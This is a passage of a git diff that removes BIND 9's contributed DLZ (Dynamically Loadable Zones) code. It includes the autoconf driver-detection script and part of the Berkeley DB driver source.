-				"Select an operation (l d a f)");
-		quit(2);
-		break;
-	}
-
-	quit(0);
-}
-#endif /* ifdef DLZ_BDB */
diff --git a/contrib/dlz/config.dlz.in b/contrib/dlz/config.dlz.in
deleted file mode 100644
index f769cf1f70..0000000000
--- a/contrib/dlz/config.dlz.in
+++ /dev/null
@@ -1,508 +0,0 @@
-# Copyright (C) 2005  Internet Systems Consortium, Inc. ("ISC")
-#
-# Permission to use, copy, modify, and distribute this software for any
-# purpose with or without fee is hereby granted, provided that the above
-# copyright notice and this permission notice appear in all copies.
-#
-# THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
-# REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
-# AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
-# INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
-# LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
-# OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-# PERFORMANCE OF THIS SOFTWARE.
-
-#
-# Shorthand.  Note quoting: DLZ_DRIVER_DIR expanded in Makefile, not here.
-#
-dlzdir='${DLZ_DRIVER_DIR}'
-
-#
-# Private autoconf macro to simplify configuring drivers:
-#
-#   DLZ_ADD_DRIVER(DEFINE, DRIVER, INCLUDES, LIBS)
-#
-# where:
-#   DEFINE is FOO (to define -DDLZ_FOO)
-#   DRIVER is dlz_foo_driver (sources without the .c)
-#   INCLUDES is any necessary include definitions
-#   LIBS is any necessary library definitions
-#
-AC_DEFUN([DLZ_ADD_DRIVER], [
-	CONTRIB_DLZ="$CONTRIB_DLZ -DDLZ_$1"
-	for i in $2
-	do
-		DLZ_DRIVER_SRCS="$DLZ_DRIVER_SRCS $dlzdir/$i.c"
-		DLZ_DRIVER_OBJS="$DLZ_DRIVER_OBJS $i.$O"
-	done
-	if test -n "$3"
-	then
-		DLZ_DRIVER_INCLUDES="$DLZ_DRIVER_INCLUDES $3"
-		DLZ_DRIVER_$1_INCLUDES="$3"
-	fi
-	if test -n "$4"
-	then
-		DLZ_DRIVER_LIBS="$DLZ_DRIVER_LIBS $4"
-		DLZ_DRIVER_$1_LIBS="$4"
-	fi
-])
-
-#
-# Check for the various DLZ drivers
-#
-
-#
-# Was --with-dlz-postgres specified?
-#
-
-AC_MSG_CHECKING(for Postgres DLZ driver)
-AC_ARG_WITH(dlz_postgres,
-	    AS_HELP_STRING([--with-dlz-postgres[=PATH]],
-			   [Build with Postgres DLZ driver [yes|no|path].
-			       (Required to use Postgres with DLZ)]),
-    use_dlz_postgres="$withval", use_dlz_postgres="no")
-
-if test "$use_dlz_postgres" != "no"
-then
-	if test "$use_dlz_postgres" != "yes"
-        then
-                AC_PATH_PROGS(PG_CONFIG, pg_config, [not found], $use_dlz_postgres/bin)
-	else
-                AC_PATH_PROGS(PG_CONFIG, pg_config, [not found])
-	fi
-
-	if test "$PG_CONFIG" != "not found"
-	then
-		use_dlz_postgres=`$PG_CONFIG --includedir`
-		use_dlz_postgres_lib=`$PG_CONFIG --libdir`
-	else
-		pgprefix="$use_dlz_postgres"
-		use_dlz_postgres="$pgprefix/include"
-		use_dlz_postgres_lib="$pgprefix/lib"
-	fi
-fi
-
-if test "$use_dlz_postgres" = "yes/include"
-then
-	# User did not specify path and Postgres didn't say - guess it
-	pgdirs="/usr /usr/local /usr/local/pgsql /usr/pkg"
-	for d in $pgdirs
-	do
-		if test -f $d/include/libpq-fe.h
-		then
-			use_dlz_postgres=$d/include
-			use_dlz_postgres_lib=$d/lib
-			break
-		fi
-	done
-fi
-
-if test "$use_dlz_postgres" = "yes/include"
-then
-	# Still no joy, give up
-
-	AC_MSG_RESULT(not found)
-	AC_MSG_ERROR(
-[No pg_config and PostgreSQL was not found in any of $pgdirs; use --with-dlz-postgres=/path or put pg_config in your path])
-fi
-
-case "$use_dlz_postgres" in
-	no)
-		AC_MSG_RESULT(no)
-		;;
-	*)
-		DLZ_ADD_DRIVER(POSTGRES, dlz_postgres_driver,
-				[-I$use_dlz_postgres],
-				[-L$use_dlz_postgres_lib -lpq])
-
-		AC_MSG_RESULT(
-[using PostgreSQL from $use_dlz_postgres_lib and $use_dlz_postgres])
-		;;
-esac
-
-
-#
-# Was --with-dlz-mysql specified?
-#
-
-AC_MSG_CHECKING(for MySQL DLZ driver)
-AC_ARG_WITH(dlz_mysql,
-	    AS_HELP_STRING([--with-dlz-mysql[=PATH]],
-		           [Build with MySQL DLZ driver [yes|no|path].
-			       (Required to use MySQL with DLZ)]),
-    use_dlz_mysql="$withval", use_dlz_mysql="no")
-
-mysql_include=""
-mysql_lib=""
-if test "$use_dlz_mysql" = "yes"
-then
-	AC_CHECK_PROGS(MYSQL_CONFIG, mysql_config)
-	if test -n "$MYSQL_CONFIG"
-	then
-		mysql_include=`${MYSQL_CONFIG} --include`
-		mysql_lib=`${MYSQL_CONFIG} --libs`
-		use_dlz_mysql="config"
-
-	else
-		# User did not specify a path - guess it
-		mysqldirs="/usr /usr/local /usr/local/mysql /usr/pkg"
-		for d in $mysqldirs
-		do
-			if test -f $d/include/mysql/mysql.h
-			then
-				use_dlz_mysql=$d
-				mysql_include=$d/include/mysql
-				break
-			elif test -f $d/include/mysql.h
-			then
-				use_dlz_mysql=$d
-				mysql_include=$d/include
-				break
-			fi
-		done
-	fi
-elif test "$use_dlz_mysql" != "no"
-then
-	d=$use_dlz_mysql
-	if test -f $d/include/mysql/mysql.h
-	then
-		mysql_include=$d/include/mysql
-	elif test -f $d/include/mysql.h
-	then
-		mysql_include=$d/include
-	fi
-fi
-
-if test "$use_dlz_mysql" = "yes"
-then
-	AC_MSG_RESULT(not found)
-	AC_MSG_ERROR(
-[MySQL was not found in any of $mysqldirs; use --with-dlz-mysql=/path])
-fi
-
-case "$use_dlz_mysql" in
-	no)
-		AC_MSG_RESULT(no)
-		;;
-	config)
-		DLZ_ADD_DRIVER(MYSQL, dlz_mysql_driver,
-				[${mysql_include}],
-				[${mysql_lib}])
-
-		AC_MSG_RESULT(
-[using mysql with libs ${mysql_lib} and includes ${mysql_include}])
-		;;
-	*)
-		if test -d "$use_dlz_mysql/lib/mysql"
-		then
-			mysql_lib="$use_dlz_mysql/lib/mysql"
-		else
-			mysql_lib="$use_dlz_mysql/lib"
-		fi
-		DLZ_ADD_DRIVER(MYSQL, dlz_mysql_driver,
-				[-I${mysql_include}],
-				[-L${mysql_lib} -lmysqlclient -lz -lcrypt -lm])
-
-		AC_MSG_RESULT(
-[using mysql from ${mysql_lib} and ${mysql_include}])
-		;;
-esac
-
-
-#
-# Was --with-dlz-bdb specified?
-#
-
-AC_MSG_CHECKING(for Berkeley DB DLZ driver...)
-AC_ARG_WITH(dlz_bdb,
-	    AS_HELP_STRING([--with-dlz-bdb[=PATH]],
-			   [Build with Berkeley DB DLZ driver [yes|no|path].
-			       (Required to use Berkeley DB with DLZ)]),
-    use_dlz_bdb="$withval", use_dlz_bdb="no")
-
-case "$use_dlz_bdb" in
-	no)
-		AC_MSG_RESULT(no)
-		;;
-	*)
-		if test "$use_dlz_bdb" = "yes"
-		then
-			# User did not specify a path - guess directories
-			bdbdirs="/usr/local /usr/pkg /usr"
-		elif test -d "$use_dlz_bdb"
-		then
-			# User specified directory and it exists
-			bdbdirs="$use_dlz_bdb"
-		else
-			AC_MSG_RESULT(not found)
-			AC_MSG_ERROR([path $use_dlz_bdb does not exist])
-			bdbdirs=""
-		fi
-
-		# Use path we were given or guessed.  This is insanely
-		# complicated because we have to search for a bunch of
-		# platform-specific variations and have to check
-		# separately for include and library directories.
-
-		# Set both to yes, so we can check them later
-		dlz_bdb_inc="yes"
-		dlz_bdb_libs="yes"
-
-                AC_MSG_RESULT( )
-		for dd in $bdbdirs
-		do
-			# Skip nonexistent directories
-			if test ! -d "$dd"
-			then
-				continue
-			fi
-
-			# Check other locations for includes.
-			# Order is important (sigh).
-
-			bdb_incdirs="/db53 /db51 /db48 /db47 /db46 /db45 /db44 /db43 /db42 /db41 /db4 /db"
-			# include a blank element first
-			for d in "" $bdb_incdirs
-			do
-				if test -f "$dd/include${d}/db.h"
-				then
-					dlz_bdb_inc="-I$dd/include${d}"
-					break
-				fi
-			done
-
-			# Give up on this directory if we couldn't
-			# find the include subdir
-
-			if test "$dlz_bdb_inc" = "yes"
-			then
-				continue
-			fi
-
-			# Look for libname other than libdb.so.
-			# Order is important (sigh).
-
-			bdb_libnames="db53 db-5.3 db51 db-5.1 db48 db-4.8 db47 db-4.7 db46 db-4.6 db45 db-4.5 db44 db-4.4 db43 db-4.3 db42 db-4.2 db41 db-4.1 db"
-			for d in $bdb_libnames
-			do
-				if test "$dd" = "/usr"
-				then
-					AC_CHECK_LIB($d, db_create, dlz_bdb_libs="-l${d}")
-					if test $dlz_bdb_libs != "yes"
-					then
-						break
-					fi
-				elif test -f "$dd/lib/lib${d}.so"
-				then
-					dlz_bdb_libs="-L${dd}/lib -l${d}"
-					break
-				fi
-			done
-
-			# If we found both incdir and lib, we're done
-			if test "$dlz_bdb_libs" != "yes"
-			then
-				break
-			fi
-
-			# Otherwise, we're starting over
-
-			dlz_bdb_inc="yes"
-			dlz_bdb_libs="yes"
-		done
-		
-		# Done searching, now make sure we got everything.
-
-		if test "$dlz_bdb_inc" = "yes"
-		then
-			AC_MSG_ERROR([could not find Berkeley DB include directory])
-		fi
-
-		if test "$dlz_bdb_libs" = "yes"
-		then
-			AC_MSG_RESULT(not found)
-			AC_MSG_ERROR([could not find Berkeley DB library])
-		fi
-
-		DLZ_ADD_DRIVER(BDB, dlz_bdb_driver dlz_bdbhpt_driver,
-			       [$dlz_bdb_inc], [$dlz_bdb_libs])
-
-		AC_MSG_RESULT([using Berkeley DB: $dlz_bdb_inc $dlz_bdb_libs])
-
-		AC_CONFIG_FILES([contrib/dlz/bin/dlzbdb/Makefile])
-		;;
-esac
-
-
-#
-# Was --with-dlz-filesystem specified?
-#
-
-AC_MSG_CHECKING(for file system DLZ driver)
-AC_ARG_WITH(dlz_filesystem,
-	    AS_HELP_STRING([--with-dlz-filesystem[=ARG]],
-			   [Build with filesystem DLZ driver [yes|no].
-			       (Required to use file system driver with DLZ)]),
-    use_dlz_filesystem="$withval", use_dlz_filesystem="no")
-
-case "$use_dlz_filesystem" in
-	no)
-		AC_MSG_RESULT(no)
-		;;
-	*)
-		DLZ_ADD_DRIVER(FILESYSTEM, dlz_filesystem_driver)
-		DLZ_SYSTEM_TEST=filesystem
-		AC_MSG_RESULT(yes)
-		;;
-esac
-
-
-#
-# Was --with-dlz-ldap specified?
-#
-
-AC_MSG_CHECKING(for LDAP DLZ driver)
-AC_ARG_WITH(dlz_ldap,
-	    AS_HELP_STRING([--with-dlz-ldap[=PATH]],
-			   [Build with LDAP DLZ driver [yes|no|path].
-			       (Required to use LDAP with DLZ)]),
-    use_dlz_ldap="$withval", use_dlz_ldap="no")
-
-if test "$use_dlz_ldap" = "yes"
-then
-	# User did not specify a path - guess it
-	ldapdirs="/usr /usr/local /usr/pkg"
-	for d in $ldapdirs
-	do
-		if test -f $d/include/ldap.h
-		then
-			use_dlz_ldap=$d
-			break
-		fi
-	done
-fi
-
-if test "$use_dlz_ldap" = "yes"
-then
-	AC_MSG_RESULT(not found)
-	AC_MSG_ERROR(
-[LDAP headers were not found in any of $ldapdirs; use --with-dlz-ldap=/path])
-fi
-
-case "$use_dlz_ldap" in
-	no)
-		AC_MSG_RESULT(no)
-		;;
-	*)
-		DLZ_ADD_DRIVER(LDAP, dlz_ldap_driver,
-				[-I$use_dlz_ldap/include],
-				[-L$use_dlz_ldap/lib -lldap -llber])
-
-		AC_MSG_RESULT(
-[using LDAP from $use_dlz_ldap/lib and $use_dlz_ldap/include])
-		;;
-esac
-
-
-#
-# Was --with-dlz-odbc specified?
-#
-
-AC_MSG_CHECKING(for ODBC DLZ driver)
-AC_ARG_WITH(dlz_odbc,
-	    AS_HELP_STRING([--with-dlz-odbc[=PATH]],
-			   [Build with ODBC DLZ driver [yes|no|path].
-			       (Required to use ODBC with DLZ)]),
-    use_dlz_odbc="$withval", use_dlz_odbc="no")
-
-if test "$use_dlz_odbc" = "yes"
-then
-	# User did not specify a path - guess it
-	libodbc_found=no
-	sql_h_found=no
-	AC_CHECK_HEADER(sql.h, sql_h_found=yes)
-	AC_CHECK_LIB(odbc, SQLConnect, libodbc_found=yes)
-
-	if test $libodbc_found = "yes" -o $sql_h_found = "yes"
-	then
-		use_dlz_odbc=system
-		dlz_odbc_include=""
-		dlz_odbc_libs="-lodbc"
-	else
-		odbcdirs="/usr /usr/local /usr/pkg"
-		for d in $odbcdirs
-		do
-			if test -f $d/include/sql.h -a -f $d/lib/libodbc.a
-			then
-				use_dlz_odbc=$d
-				dlz_odbc_include="-I$use_dlz_odbc/include"
-				dlz_odbc_libs="-L$use_dlz_odbc/lib -lodbc"
-				break
-			fi
-		done
-	fi
-fi
-
-case "$use_dlz_odbc" in
-	no)
-		AC_MSG_RESULT(no)
-		;;
-	yes)
-		AC_MSG_RESULT(not found)
-		AC_MSG_ERROR(
-[ODBC headers were not found in any of $odbcdirs; use --with-dlz-odbc=/path])
-		;;
-	*)
-		DLZ_ADD_DRIVER(ODBC, dlz_odbc_driver,
-				[$dlz_odbc_include],
-				[$dlz_odbc_libs])
-
-		AC_MSG_RESULT([using ODBC from $use_dlz_odbc])
-		;;
-esac
-
-
-#
-# Was --with-dlz-stub specified?
-#
-
-AC_MSG_CHECKING(for stub DLZ driver)
-AC_ARG_WITH(dlz_stub,
-	    AS_HELP_STRING([--with-dlz-stub[=ARG]],
-			   [Build with stub DLZ driver [yes|no].
-			       (Required to use stub driver with DLZ)]),
-    use_dlz_stub="$withval", use_dlz_stub="no")
-
-case "$use_dlz_stub" in
-	no)
-		AC_MSG_RESULT(no)
-		;;
-	*)
-
-		DLZ_ADD_DRIVER(STUB, dlz_stub_driver)
-
-		AC_MSG_RESULT(yes)
-		;;
-esac
-
-# Add any additional DLZ drivers here.
-
-#
-# Finally, some generic stuff that applies to all drivers, assuming
-# we're compiling contrib DLZ drivers at all.
-#
-if test -n "$CONTRIB_DLZ"
-then
-	CONTRIB_DLZ="-DCONTRIB_DLZ $CONTRIB_DLZ"
-
-	#
-	# Where to find DLZ driver header files.
-	#
-	DLZ_DRIVER_INCLUDES="-I$dlzdir/include $DLZ_DRIVER_INCLUDES"
-
-	#
-	# Initialization and shutdown wrappers, helper functions.
-	#
-	DLZ_DRIVER_SRCS="$dlzdir/dlz_drivers.c $dlzdir/sdlz_helper.c $DLZ_DRIVER_SRCS"
-	DLZ_DRIVER_OBJS="dlz_drivers.$O sdlz_helper.$O $DLZ_DRIVER_OBJS"
-fi
diff --git a/contrib/dlz/drivers/.gitignore b/contrib/dlz/drivers/.gitignore
deleted file mode 100644
index de7475d888..0000000000
--- a/contrib/dlz/drivers/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-rules
diff --git a/contrib/dlz/drivers/dlz_bdb_driver.c b/contrib/dlz/drivers/dlz_bdb_driver.c
deleted file mode 100644
index 0ae6de250f..0000000000
--- a/contrib/dlz/drivers/dlz_bdb_driver.c
+++ /dev/null
@@ -1,800 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2016  Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- */
-
-#ifdef DLZ_BDB
-#include <db.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <isc/mem.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/util.h>
-
-#include <dns/log.h>
-#include <dns/result.h>
-#include <dns/sdlz.h>
-
-#include <dlz/dlz_bdb_driver.h>
-#include <named/globals.h>
-
-static dns_sdlzimplementation_t *dlz_bdb = NULL;
-
-/* should the bdb driver use threads. */
-#define bdb_threads DB_THREAD
-
-/* BDB database names */
-#define dlz_data   "dns_data"
-#define dlz_zone   "dns_zone"
-#define dlz_host   "dns_host"
-#define dlz_client "dns_client"
-
-/*%
- * This structure contains all the Berkeley DB handles
- * for this instance of the BDB driver.
- */
-
-typedef struct bdb_instance {
-	DB_ENV *dbenv;	 /*%< BDB environment */
-	DB *data;	 /*%< dns_data database handle */
-	DB *zone;	 /*%< zone database handle */
-	DB *host;	 /*%< host database handle */
-	DB *client;	 /*%< client database handle */
-	isc_mem_t *mctx; /*%< memory context */
-} bdb_instance_t;
-
-typedef struct parsed_data {
-	char *zone;
-	char *host;
-	char *type;
-	int ttl;
-	char *data;
-} parsed_data_t;
-
-/* forward reference */
-
-static isc_result_t
-bdb_findzone(void *driverarg, void *dbdata, const char *name,
-	     dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo);
-
-/*%
- * Parses the DBT from the Berkeley DB into a parsed_data record
- * The parsed_data record should be allocated before and passed into the
- * bdb_parse_data function.  The char (type & data) fields should not
- * be "free"d as that memory is part of the DBT data field.  It will be
- * "free"d when the DBT is freed.
- */
-
-static isc_result_t
-bdb_parse_data(char *in, parsed_data_t *pd) {
-	char *endp, *ttlStr;
-	char *tmp = in;
-	char *lastchar = (char *)&tmp[strlen(tmp) + 1];
-
-	/*%
-	 * String should be formatted as:
-	 * zone(a space)host(a space)ttl(a space)type(a space)remaining data
-	 * examples:
-	 * example.com www 10 A 127.0.0.1
-	 * example.com mail 10 A 127.0.0.2
-	 * example.com @ 10 MX 20 mail.example.com
-	 */
-
-	/* save pointer to zone */
-	pd->zone = tmp;
-
-	/* find space after zone and change it to a '\0' */
-	tmp = strchr(tmp, ' ');
-	/* verify we found a space */
-	if (tmp == NULL) {
-		return (ISC_R_FAILURE);
-	}
-	/* change the space to a null (string terminator) */
-	tmp[0] = '\0';
-	/* make sure it is safe to increment pointer */
-	if (++tmp > lastchar) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* save pointer to host */
-	pd->host = tmp;
-
-	/* find space after type and change it to a '\0' */
-	tmp = strchr(tmp, ' ');
-	/* verify we found a space */
-	if (tmp == NULL) {
-		return (ISC_R_FAILURE);
-	}
-	/* change the space to a null (string terminator) */
-	tmp[0] = '\0';
-	/* make sure it is safe to increment pointer */
-	if (++tmp > lastchar) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* save pointer to dns type */
-	pd->type = tmp;
-
-	/* find space after type and change it to a '\0' */
-	tmp = strchr(tmp, ' ');
-	/* verify we found a space */
-	if (tmp == NULL) {
-		return (ISC_R_FAILURE);
-	}
-	/* change the space to a null (string terminator) */
-	tmp[0] = '\0';
-	/* make sure it is safe to increment pointer */
-	if (++tmp > lastchar) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* save pointer to dns ttl */
-	ttlStr = tmp;
-
-	/* find space after ttl and change it to a '\0' */
-	tmp = strchr(tmp, ' ');
-	/* verify we found a space */
-	if (tmp == NULL) {
-		return (ISC_R_FAILURE);
-	}
-	/* change the space to a null (string terminator) */
-	tmp[0] = '\0';
-	/* make sure it is safe to increment pointer */
-	if (++tmp > lastchar) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* save pointer to remainder of DNS data */
-	pd->data = tmp;
-
-	/* convert ttl string to integer */
-	pd->ttl = strtol(ttlStr, &endp, 10);
-	if (*endp != '\0' || pd->ttl < 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "BDB driver ttl must be a positive number");
-		return (ISC_R_FAILURE);
-	}
-
-	/* if we get this far everything should have worked. */
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * DLZ methods
- */
-
-static isc_result_t
-bdb_allowzonexfr(void *driverarg, void *dbdata, const char *name,
-		 const char *client) {
-	isc_result_t result;
-	bdb_instance_t *db = (bdb_instance_t *)dbdata;
-	DBC *client_cursor = NULL;
-	DBT key, data;
-
-	/* check to see if we are authoritative for the zone first. */
-	result = bdb_findzone(driverarg, dbdata, name, NULL, NULL);
-	if (result != ISC_R_SUCCESS) {
-		return (ISC_R_NOTFOUND);
-	}
-
-	memset(&key, 0, sizeof(DBT));
-	key.flags = DB_DBT_MALLOC;
-	key.data = strdup(name);
-	if (key.data == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto xfr_cleanup;
-	}
-	key.size = strlen(key.data);
-
-	memset(&data, 0, sizeof(DBT));
-	data.flags = DB_DBT_MALLOC;
-	data.data = strdup(client);
-	if (data.data == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto xfr_cleanup;
-	}
-	data.size = strlen(data.data);
-
-	/* get a cursor to loop through zone data */
-	if (db->client->cursor(db->client, NULL, &client_cursor, 0) != 0) {
-		result = ISC_R_FAILURE;
-		goto xfr_cleanup;
-	}
-
-	switch (client_cursor->c_get(client_cursor, &key, &data, DB_GET_BOTH)) {
-	case DB_NOTFOUND:
-	case DB_SECONDARY_BAD:
-		result = ISC_R_NOTFOUND;
-		break;
-	case 0:
-		result = ISC_R_SUCCESS;
-		break;
-	default:
-		result = ISC_R_FAILURE;
-	}
-
-xfr_cleanup:
-
-	/* free any memory duplicate string in the key field */
-	if (key.data != NULL) {
-		free(key.data);
-	}
-
-	/* free any memory allocated to the data field. */
-	if (data.data != NULL) {
-		free(data.data);
-	}
-
-	/* get rid of zone_cursor */
-	if (client_cursor != NULL) {
-		client_cursor->c_close(client_cursor);
-	}
-
-	return (result);
-}
-
-static isc_result_t
-bdb_allnodes(const char *zone, void *driverarg, void *dbdata,
-	     dns_sdlzallnodes_t *allnodes) {
-	isc_result_t result = ISC_R_NOTFOUND;
-	bdb_instance_t *db = (bdb_instance_t *)dbdata;
-	DBC *zone_cursor = NULL;
-	DBT key, data;
-	int flags;
-	int bdbres;
-	parsed_data_t pd;
-	char *tmp = NULL, *tmp_zone;
-
-	UNUSED(driverarg);
-
-	memset(&key, 0, sizeof(DBT));
-	memset(&data, 0, sizeof(DBT));
-
-	key.data = tmp_zone = strdup(zone);
-
-	if (key.data == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	key.size = strlen(key.data);
-
-	/* get a cursor to loop through zone data */
-	if (db->zone->cursor(db->zone, NULL, &zone_cursor, 0) != 0) {
-		result = ISC_R_FAILURE;
-		goto allnodes_cleanup;
-	}
-
-	flags = DB_SET;
-
-	while ((bdbres = zone_cursor->c_get(zone_cursor, &key, &data, flags)) ==
-	       0) {
-		flags = DB_NEXT_DUP;
-
-		tmp = realloc(tmp, data.size + 1);
-		if (tmp == NULL) {
-			goto allnodes_cleanup;
-		}
-
-		strncpy(tmp, data.data, data.size);
-		tmp[data.size] = '\0';
-
-		if (bdb_parse_data(tmp, &pd) != ISC_R_SUCCESS) {
-			goto allnodes_cleanup;
-		}
-
-		result = dns_sdlz_putnamedrr(allnodes, pd.host, pd.type, pd.ttl,
-					     pd.data);
-		if (result != ISC_R_SUCCESS) {
-			goto allnodes_cleanup;
-		}
-	} /* end while loop */
-
-allnodes_cleanup:
-
-	if (tmp != NULL) {
-		free(tmp);
-	}
-
-	/* free any memory duplicate string in the key field */
-	if (tmp_zone != NULL) {
-		free(tmp_zone);
-	}
-
-	/* get rid of zone_cursor */
-	if (zone_cursor != NULL) {
-		zone_cursor->c_close(zone_cursor);
-	}
-
-	return (result);
-}
-
-/*%
- * Performs BDB cleanup.
- * Used by bdb_create if there is an error starting up.
- * Used by bdb_destroy when the driver is shutting down.
- */
-
-static void
-bdb_cleanup(bdb_instance_t *db) {
-	isc_mem_t *mctx;
-
-	/* close databases */
-	if (db->data != NULL) {
-		db->data->close(db->data, 0);
-	}
-	if (db->host != NULL) {
-		db->host->close(db->host, 0);
-	}
-	if (db->zone != NULL) {
-		db->zone->close(db->zone, 0);
-	}
-	if (db->client != NULL) {
-		db->client->close(db->client, 0);
-	}
-
-	/* close environment */
-	if (db->dbenv != NULL) {
-		db->dbenv->close(db->dbenv, 0);
-	}
-
-	/* cleanup memory */
-	if (db->mctx != NULL) {
-		/* save mctx for later */
-		mctx = db->mctx;
-		/* return, and detach the memory */
-		isc_mem_putanddetach(&mctx, db, sizeof(bdb_instance_t));
-	}
-}
-
-static isc_result_t
-bdb_findzone(void *driverarg, void *dbdata, const char *name,
-	     dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo) {
-	isc_result_t result;
-	bdb_instance_t *db = (bdb_instance_t *)dbdata;
-	DBC *zone_cursor = NULL;
-	DBT key, data;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	memset(&key, 0, sizeof(DBT));
-	memset(&data, 0, sizeof(DBT));
-	data.flags = DB_DBT_MALLOC;
-
-	key.data = strdup(name);
-
-	if (key.data == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	key.size = strlen(key.data);
-
-	/* get a cursor to loop through zone data */
-	if (db->zone->cursor(db->zone, NULL, &zone_cursor, 0) != 0) {
-		result = ISC_R_NOTFOUND;
-		goto findzone_cleanup;
-	}
-
-	switch (zone_cursor->c_get(zone_cursor, &key, &data, DB_SET)) {
-	case DB_NOTFOUND:
-	case DB_SECONDARY_BAD:
-		result = ISC_R_NOTFOUND;
-		break;
-	case 0:
-		result = ISC_R_SUCCESS;
-		break;
-	default:
-		result = ISC_R_FAILURE;
-	}
-
-findzone_cleanup:
-
-	/* free any memory duplicate string in the key field */
-	if (key.data != NULL) {
-		free(key.data);
-	}
-
-	/* free any memory allocated to the data field. */
-	if (data.data != NULL) {
-		free(data.data);
-	}
-
-	/* get rid of zone_cursor */
-	if (zone_cursor != NULL) {
-		zone_cursor->c_close(zone_cursor);
-	}
-
-	return (result);
-}
-
-static isc_result_t
-bdb_lookup(const char *zone, const char *name, void *driverarg, void *dbdata,
-	   dns_sdlzlookup_t *lookup, dns_clientinfomethods_t *methods,
-	   dns_clientinfo_t *clientinfo) {
-	isc_result_t result = ISC_R_NOTFOUND;
-	bdb_instance_t *db = (bdb_instance_t *)dbdata;
-	DBC *zone_cursor = NULL;
-	DBC *host_cursor = NULL;
-	DBC *join_cursor = NULL;
-	DBT key, data;
-	DBC *cur_arr[3];
-	int bdbres;
-	parsed_data_t pd;
-	char *tmp_zone, *tmp_host = NULL;
-	char *tmp = NULL;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	memset(&key, 0, sizeof(DBT));
-	memset(&data, 0, sizeof(DBT));
-
-	/* set zone key */
-	key.data = tmp_zone = strdup(zone);
-	if (key.data == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto lookup_cleanup;
-	}
-	key.size = strlen(key.data);
-
-	/* get a cursor to loop through zone data */
-	if (db->zone->cursor(db->zone, NULL, &zone_cursor, 0) != 0) {
-		result = ISC_R_FAILURE;
-		goto lookup_cleanup;
-	}
-
-	/* initialize zone_cursor with zone_key */
-	if (zone_cursor->c_get(zone_cursor, &key, &data, DB_SET) != 0) {
-		result = ISC_R_NOTFOUND;
-		goto lookup_cleanup;
-	}
-
-	/* set host key */
-	key.data = tmp_host = strdup(name);
-	if (key.data == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto lookup_cleanup;
-	}
-	key.size = strlen(key.data);
-
-	/* get a cursor to loop through host data */
-	if (db->host->cursor(db->host, NULL, &host_cursor, 0) != 0) {
-		result = ISC_R_FAILURE;
-		goto lookup_cleanup;
-	}
-
-	/* initialize host_cursor with host_key */
-	if (host_cursor->c_get(host_cursor, &key, &data, DB_SET) != 0) {
-		result = ISC_R_NOTFOUND;
-		goto lookup_cleanup;
-	}
-
-	cur_arr[0] = zone_cursor;
-	cur_arr[1] = host_cursor;
